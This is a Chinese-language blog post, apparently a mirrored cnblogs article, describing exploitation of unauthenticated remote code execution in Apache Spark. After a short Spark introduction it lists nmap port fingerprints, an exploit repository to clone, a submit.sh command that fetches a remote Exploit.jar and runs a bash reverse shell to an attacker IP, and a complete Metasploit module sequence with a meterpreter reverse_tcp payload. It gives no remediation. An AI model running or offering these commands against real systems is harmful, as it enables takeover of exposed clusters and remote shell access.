zoukankan      html  css  js  c++  java
  • spark未授权RCE漏洞

    Spark简介



    spark是一个实现快速通用的集群计算平台。它是由加州大学伯克利分校AMP实验室 开发的通用内存并行计算框架,用来构建大型的、低延迟的数据分析应用程序。它扩展了广泛使用的MapReduce计算模型。高效的支撑更多计算模式,包括交互式查询和流处理。spark的一个主要特点是能够在内存中进行计算,及时依赖磁盘进行复杂的运算,Spark依然比MapReduce更加高效。

    Spark未授权



    信息探测


    nmap扫描出先如下端口开放,则很有可能

    6066/tcp  open  http           Jetty 9.3.z-SNAPSHOT
    8081/tcp  open  http           Jetty 9.3.z-SNAPSHOT
    8082/tcp  open  http           Jetty 9.3.z-SNAPSHOT
    

    验证如图

    下载攻击组件或使用MSF


    下载地址:git clone https://github.com/aRe00t/rce-over-spark.git

    jar工具使用说明


    ./submit.sh 192.168.100.2:6066 2.3.1 https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar "bash -i >& /dev/tcp/192.168.100.1/8888 0>&1"
    

    反弹shell效果:

    msf工具


    msf5>use exploit/linux/http/spark_unauth_rce
    msf5>set payload java/meterpreter/reverse_tcp
    msf5>set rhost 192.168.100.2
    msf5>set rport 6066
    msf5>set lhost 192.168.100.1
    msf5>set lport 4444
    msf5>set srvhost 192.168.100.1
    msf5>set srvport 8080
    msf5>exploit 
    博主简介:博主国内安全行业目前最强大的网络安全公司做技术研究员,常年做技术工作。 获得过以下全国竞赛大奖: 《中国电子作品大赛一等奖》 《云计算技术大赛一等奖》 《AIIA人工智能大赛优胜奖》《网络安全知识竞赛一等奖》 《高新技术个人突出贡献奖》,并参与《虚拟化技术-**保密**》一书编写,现已出版。还拥有多项专利,多项软件著作权! 且学习状态上进,立志做技术牛逼的人。座右铭:在路上,永远年轻,永远热泪盈眶。可邮件联系博主共同进步,个人邮箱:pigeon_code@163.com
  • 相关阅读:
    转贴:Asp.Net 学习资源列表
    实现简单的写字板
    android绘图—Paint path 旋转
    Eclipse Android编程快捷键
    android Bitmap学习总结
    各种颜色对应的十六进制数
    Android surfaceView 与View 的区别
    SQLite设置_id自增的方法
    数据库表外键设置
    android自定义View的用法
  • 原文地址:https://www.cnblogs.com/mutudou/p/14685277.html
Copyright © 2011-2022 走看看